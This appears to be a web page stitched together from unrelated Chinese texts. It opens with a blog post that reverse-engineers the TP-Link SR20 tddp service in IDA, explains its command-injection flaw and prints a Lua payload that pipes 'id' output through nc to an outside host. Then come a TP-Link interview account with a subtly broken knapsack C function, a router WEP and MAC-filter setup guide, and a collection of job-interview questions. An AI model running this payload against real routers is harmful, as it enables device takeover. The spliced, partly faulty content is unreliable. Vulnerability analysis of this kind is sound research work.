最近段时间一直忙于找工作，从而导致博客许久没有好好的写一篇（好不容易要写了结果csdn的linux下网页登陆又出bug，只能把截图放到windows下，好不容易图都截完了转存截切，结果打开时所有图片格式又损坏了，又重新去linux截，真可谓是…一波三折），导致这段时间学到的很多知识没能记下来，罪过罪过…
正题

从一开始研究IOT安全开始就了解到过一个关于TP-Link SR20的固件漏洞，也复现利用过这个漏洞，但对这个漏洞的产生的具体细节了解甚微，今天就用IDA来逆向分析一下这个漏洞，关于TP-Link SR20固件漏洞的大致情况可以自行百度，毕竟还是一个比较典型的固件漏洞，原理也很简单，一查就能查到，这里不多赘述。
过程

首先最基本的一点肯定是要知道什么是tddp协议，这是一个TP-Link申请过专利的调试协议基于udp协议，目前就我所知分为两个版本v1和v2。我们先去官网下载有漏洞的固件，具体的下载环境搭建内容可参考此处
然后使用binwalk将固件内容里的文件系统提取出来（基本操作），进入squashfs-root，然后再在/usr/bin目录下找到tddp程序，拖入虚拟机，进入正题

首先可以看到

大致浏览一下所有的库函数，确定一个切入点，这里肯定会人说我应该先去找主函数，这样也没错，但这方法让我觉得很低效，我通常都是先浏览API或者库函数，根据程序调用的库函数来判断程序会完成哪些功能，然后确定一个切入点通过自下而上的方式，回溯的进行逻辑梳理，最后一直查找到主函数位置。在这里我就以recvfrom函数为切入点，查看其邻近浏览器。


然后可以看到sub_16418函数调用了recvfrom函数，然后f5对sub_16418函数反编译


recvfrom函数的第二个参数是(char*)v14+45083也就是说，我们传过去的数据存在v14的45083偏移处，然后下面有两条语句if(v2==1).....else if(v2==2)，根据我的判断这一句是用来判断协议版本的。

下面继续往上回溯，我们应该一直查找回溯到socket初始化的位置，然后继续查看sub_16418函数的邻近模块，双击一下即可。


然后可以看到sub_936c函数调用了他，我们反编译sub_936c


首先看到他有setsocketopt函数，然后又看到有输出tddp task…这一句，只要使用qemu模拟运行过固件的都知道，tddp程序启动后首先输出的就是这一句，所以我推断这块应该就是一个主函数了，在这里要说明一下sub_6E5C函数初始化socket，sub_16D68函数对套接字进行绑定，绑定到1040端口。

再往下看，还可以看到一个select函数，基本上可以判断此程序在处理套接字的时候可能使用了IO多路复用，以此来提高性能，它可以使socket套接字处于非阻塞的工作状态同时处理多个IO，与其相同但是性能更高的还有一个epoll…跑题了。
现在我们基本上梳理出了一条执行逻辑，主函数初始化套接字，并使套接字以非阻塞的模式运行提高性能与并发性，然后再recvfrom获取发送过来的数据。
获取到这些信息后，我们再回到起点开始梳理程序在收到我们传过来的数据后会如何处理。可以看到sub_16418函数除了·recvfrom外还调用了很多其他函数，我们现在只需要对recvfrom之后调用的函数关心即可，因为recvfrom函数后程序才能获得用户输入。

因为这之后并且还将存放接收到数据的变量v14当作参数的函数还是有很多，所以我在分析的时候也花了点时间，在这就直接将没有用的函数全部跳过，直接进入sub_15E74函数。
a1就是上一个函数中的v14，之前说过我们传过去的数据存在v14+45083偏移处，这里的switch将45084也就是我们传过去数据的第二个字节当作参考值来匹配，每个case下面都会对应调用一个函数，在我们不知道漏洞的情况下我们当然需要一个一个函数进去筛查，但现在我们知道这个漏洞出现在case 0x31处，也就是说如果我们构造的tddp协议包的第二个字节值等于0x31，那就有会触发之后我们要说的漏洞，现在我们直接进入case 0x31后的函数，即sub_A580，他的参数是v8其实就是a1。


在这里我们先看看sscanf，这个函数将v20即我们传送过去的数据用分号隔开，分别存入s与v11中，然后还要关注inet_ntoa函数这个函数首先将v9即我们传进去的参数a1也就是我们传过去的数据，v9+4处转换成一个in_addr结构体变量，然后再解析成一个点分（xxx.xxx.xxx.xxx)格式的字符串，看到这里想都不用想都知道这转换过去的是个ip地址。然后调用sub_91DC函数分别将刚刚用sscanf函数分隔开字符串的分号前半部分内容与刚刚解析出来的不知道做什么的ip地址传进去并且前面还有一长串字符串常量cd /tmp….根据字符串后的两个%s基本上可以判断这个函数还会将刚刚解析出的s与v17拼接进这个字符串常量，二这个字符串开头的cd极有可能会是一个shell指令而且刚刚还只过滤了分号，到这里作为一个老“黑客”(狗头滑稽.jpg)就应该突然警觉——指令注入！，现在我们转入sub_91DC函数。


可以看到这个参数的形式const char *a1,…刚刚调用时传入的s与v17不见了，对于C语言新手而言的确很头大，但对于一个老"C语言专家“(滑稽.jpg)，完全就像hello world一样简单，他只不过是利用第一个参数也就是最后一个入栈的参数的指针来获取其余的参数，这种传参办法再printf、scanf、等函数中经常见到，这种传参方法可以使函数的参数个数变为可变不固定的。


在这里要注意va_start与vsprintf函数，va_start函数将利用函数参数栈中的最后一个参数即第一个参数（函数参数入栈顺序一般情况下是从右往左）由低到高把其他参数的内容一个一个取粗乃放入一个va_list类型变量varg_r1中，vsprintf函数将varg_r1与在上一个函数中传入的字符串常量“cd /tmp;tftp -gr...."拼接就像我一开始推断的那样。这里cd指令都知道是做什么的，而tftp则是一个传输文件的简单协议 -gr参数后跟要获取/下载的文件名与服务器IP地址：tftp -gr 文件名 资源服务器ip，没错！这里就是漏洞产生的地方，如果我们在我们的攻击机上配置一个atftp服务，并且向TP-Link SR20的1040端口传输一个第二个字节数据为0x31的tddp数据包，那这个路由器就会从我们地攻击机上下载文件。

然后下面我们可以看到一个execve函数，但让我想不通的是他的第二个参数就只是一个“sh"而已，这让我一度怀疑是不是我找错方向了，但我百度后发现漏洞产生的地方的确在这里，但不知道为什么，如果有知道的童鞋麻烦在评论区讨论讨论。

到这里还没有完，我们还需要知道我们的文件被下载后还会被怎么操作，单纯的只下一个文件什么都不做这说不通，所有我们再回到sub_A580函数调用处，现在我们该走到调用sub_91DC函数的下一句。

可以看到它会将我们传入的文件名与/tmp拼接，最后会变成/tmp/文件名的形式存入name，然后调用access函数，此函数第二个参数为0，即判断该文件是否存在，在这也就是验证刚刚有没有下载成功，如果下载成功直接跳出v18等于4直接去执行后面的luaL_loadfile(…)调用lua脚本，入股下载失败则重复验证四次，如果四次后还不存在那v18=0，提示lua file 文件名 don't exsit即lua文件不存在，这可以告诉我们我们刚刚下载的应该是一个lua脚本。最后我们只需要在配置好的atftp访问目录下写好我们要用的lua脚本即可，要注意的是函数名与参数固定不可变！例如：
function config_test(config)
  os.execute("id | nc 192.128.0.1 6666")
end

笔试
60分钟技术题（15道选择，2道程序改错，3道编程），40分钟行测题。选择题涉及范围很广，计算机网络、操作系统、数据结构通通都有。
 
一面
    基础知识面。面试官是一个年轻小哥，后来知道他是路由器部门的，难怪问了很多计算机网络的题目。
1、TCP和UDP的区别？
2、TCP数据报的首部格式？
3、TCP和UDP的伪首部包含什么？
4、什么时候要加伪首部？
5、在同一个网段ping路由器的处理过程？
6、malloc和new的区别？
7、写一个memcpy函数。
8、编程题：从n维有序整数数组中抽取几个，加起来最靠近m，列出所有组合。
输入：整数m和n 
输出：所有组合
博主答案仅供参考：

void func(int* array,int n,int m)
{
	int i,j,f[100],g[100][100];
	for(i=0;i<n;i++)
	{
		for(j=m;j>=array[i];j--)
		{
			if(f[j]<f[j-array[i]]+array[i])
			{
				f[j]=f[j-array[i]]+array[i];
				g[i][j]=1;
			}
			else
			{
				f[j]=f[j];
				g[i][j]=0;
			}
		}
	}
	
	i=n;
	j=m;
	while(i>0)
	{
		if(g[i][j]==1)
		{
			printf("%d ",array[i]);
			j-=array[i];
		}
		i--;
	}
	printf("\n");
}


二面
    面试官是个中年大叔，后来知道是部门主管，一开始全程绷着脸，压力面。
    先是一直翻我的成绩单和四六级证书，可能没看到挂科吧，就说了句英语还不错。
    然后自我介绍，讲到一半就打断了，说我没什么图像处理方面的经验（明明满简历都是，大哥你是怎么得出这个结论的？？？）。那我就把做过图像方面的项目给他讲讲呗，但中间都是讲不了几句就又打断了，说这个没讲清楚呀，那个为什么要这样做不那样做，还要我在纸上推导一遍公式，其实就是故意挑刺。多说无益，实践出真知，最后我干脆把平板掏出来，将做好的项目demo放给他看，终于让他满意地点点头（真心累……）。
    接着他看到我简历里有做图像特征提取的，就问有几种常用的图像特征提取方法，并在纸上写写原理，再讲讲优缺点。
    最后聊人生，看到我简历上有马拉松获奖经历，开始聊运动。我说喜欢打篮球，他居然问我一周打几次，第六感告诉我他是个篮球迷。于是趁机套路呀，聊NBA，从姚明聊到科比，从热火队聊到骑士队。
    从开始的严肃气氛，到愉快的聊天中结束面试，这一路走得太不容易了……
    回去后过两天就收到了座谈会签约通知。
    最后想说，只要准备得当并且保持自信，offer会眷顾你的。

1、在浏览器中输入“192.168.1.1”进入管理界面，依次打开“无线参数”、“基本设置”，勾选“开启安全设置”，“安全类型”中选择“WEP”，“安全选项”选择“自动选择”，“密钥格式选择”选“16进制”，在下面的4个密码设置窗格中，可以设置四组密码，每组10位数字或字母，但每次只能启用一组。 
2、选择“MAC地址过滤”，点下方的“添加新条目”，在新窗口中依次输入你另外一台电脑的无线网卡MAC地址，描述（如：华硕无线网卡），“类型”选择“64位密钥”，“密钥”中输入你启用的那一组密码，“状态”选择“生效”，点“保存”退出；在返回的界面中右侧“显示内容”中点选“密钥”或“描述”均可；在左侧“过滤规则”两项选项中选择靠下一项“ 禁止列表中生效规则之外的MAC地址访问本无线网络”，最后一定记住点击选项列表上方的“开启过滤”，使“MAC地址过滤”功能生效。这样做的好处是，即使你设置的连接密码被别人破译，这个歹徒也无法连接到你的无线网络中，因为他的网络设备MAC地址在禁制访问之列。我的一个网线网卡就出现密钥正确，SSID正确，也显示“连接到网络”，但就是无法上网，一查，是因为“MAC地址过滤”中MAC地址输错了一个字母。 
3、MAC地址查询方法：(1)左键单击任务栏右侧的联网图标（或右键单击“网上邻居”图标，选择“属性”找到联网的网卡图标，左键单击），点右侧“支持”选项卡，进入后，点击下面哪个“详细信息”按钮，弹出的信息框中第一行“实际地址”就是你的无限网卡MAC地址。(2)目前，所有网络设备的产品规格贴签上都注明有MAC地址，任何外置网络设备都可以从产品贴签上查到产品自身的MAC地址，不用方法（1）中的那样麻烦。内置的miniPCI、PCI-Express接口的无线网卡，产品贴签上也有MAC地址标注，你在安装这类内置无线网卡前，一定找笔、找纸把MAC地址记录下来，否则，你就只能按方法（1）来查询ＭＡＣ地址了。 
转载于:https://www.cnblogs.com/freedom831215/archive/2010/02/16/1668666.html

作者：要保持围笑哦
链接：https://www.nowcoder.com/discuss/313708
来源：牛客网
从春招到秋招，牛客的小伙伴真的给了很多的帮助。在桂花飘香的金秋十月，发一些秋招面经回馈牛客，也给自己的秋招画上一个完美的句号 :)
Tp-Link（提前批offer）
一面
中值滤波是什么（笔试中代码如何实现），是针对什么样的噪声？
科研项目
滤波器
二面
科研如何找到比较对象
这个项目是和医院合作的项目？有和医生沟通吗
一面面得怎么样
本科成绩好，百分之多少？本科成绩单呢？学习方法？
大学辛苦还是高中辛苦
喜欢摄影（给自己挖了个坑，问摄像机参数）
除了学习还参加什么？
去法国的收获
去实习的收获
秋招的目标
对tp-link的了解？相关是做什么的
拼多多（学霸批offer）
一面
介绍一个最重要的项目
进程与线程的区别：
场景题：拼多多在线海量以物搜物的问题
如何标注 (active learning)
如何训练 (online learning)
如何使用？不断增加新的商品怎么办？(不重新训练，直接计算高维特征）
算法题：
给数字n，依次打印1～10^n-1 (全排列）
二面
优化题：
已知X的2范式=1（nx1），a（nxn），求aX的2范式最小值（拉格朗日）
算法题：
斐波那契数列 O(log(n)): x^2
场景题
如何设计网络，解决inference速度问题？
如何发现商家卖与店家不符的商品？
hr面
你的性格是怎么样的
你对拼多多有什么了解
你为什么适合这个岗位
工作地点
有其他offer吗？
薪资待遇的期望
有男朋友吗？在哪工作
说一件你做过的很意义的事
欢聚时代
一面
类别不平衡：怎么resample（一般是以数量最多的类别为基准，作upsampling，最好加上data augmentation防止过拟合）
分割问题的难点
优化器：比较adam和sgd，都会收敛吗
欠拟合，过拟合
L1和L2各适用于什么场景，L2和weight decay是同一个东西吗
旷视
一面
项目细节
二面
算法题
一段字符串的句子，由多个单词组成，返回颠倒后的句子（单词不颠倒）
两个有序数组，返回并集的中位数
tensorflow与pytorch的区别
三面
细粒度分类：bilinear CNN
noise label怎么做?
细粒度分类 主要的难点及目前的方法
其他的细粒度task了解吗
算法题：
找到最长回文子串
美团点评（offer）
英伟达
一面
用过哪些网络结构backbone？
resnet比起vgg的好处
训练数据太少怎么办？
训练时loss变大是什么原因导致的
数据不平衡问题（正负样本，难易样本）
反卷积的作用
l1, l2损失的区别
batchnorm的好处，还有哪些其它的normalization以及分别适用于什么场景（layernorm, instancenorm,groupnorm）
batchnorm对于batchsize有什么要求
pytorch里的dataloader有哪些函数和参数
聊了一下项目
头条搜索部（offer）
一面
算法题：
搜索问题：有一些物品和其出现的次数。写一个随机函数，随机返回一个物品，使得返回概率与其出现的次数成正比。
二面
为什么分类问题一般用交叉熵，不用MSE？
dropout的作用，训练和测试时模型有差别吗
C++的map底层用什么实现
算法题：average pooling（要用到积分的思想）
智力题：
1000盏灯，最初为关，1000个人，编号1～1000，每个人拉动编号为他倍数的灯开关。问最后多少盏灯亮？
从1数到43，两人轮流数，可能选择1、2、3次，数到最后一个数的赢。问先数的人怎么样确保自己赢？
三面
python函数的参数传递是什么样的
gbdt怎么选择分裂特征，纯度是什么意思
算法题：
next permutation (leetcode)
一个圈上有0-9共10个数，初始在0位置，每次可向左或向右移动一步。问第n步在0位置的走法个数。（动归）
写在最后：秋招路上充满了坎坷，但要相信努力就会有收获，永远不要放弃自己。可以焦虑，但不能颓废，要化焦虑为动力。其实一直到上周（国庆节后一周）都没拿到一个自己满意的offer，看到很多牛友们说秋招结束了，发各种offer比较贴，看着周围同学早已上岸。当时特别焦虑，连续几天失眠做噩梦，还大哭了一场，直到看到牛客一个帖子下说到“触底反弹”，让绝望的我又鼓起勇气来。这周一下收到了字节跳动和美团点评的两个offer，把“触底反弹”的好运分享给默默坚持努力拼搏的你们 ！！！
与作者交流：https://www.nowcoder.com/discuss/313708
更多笔经面经：https://www.nowcoder.com/discuss?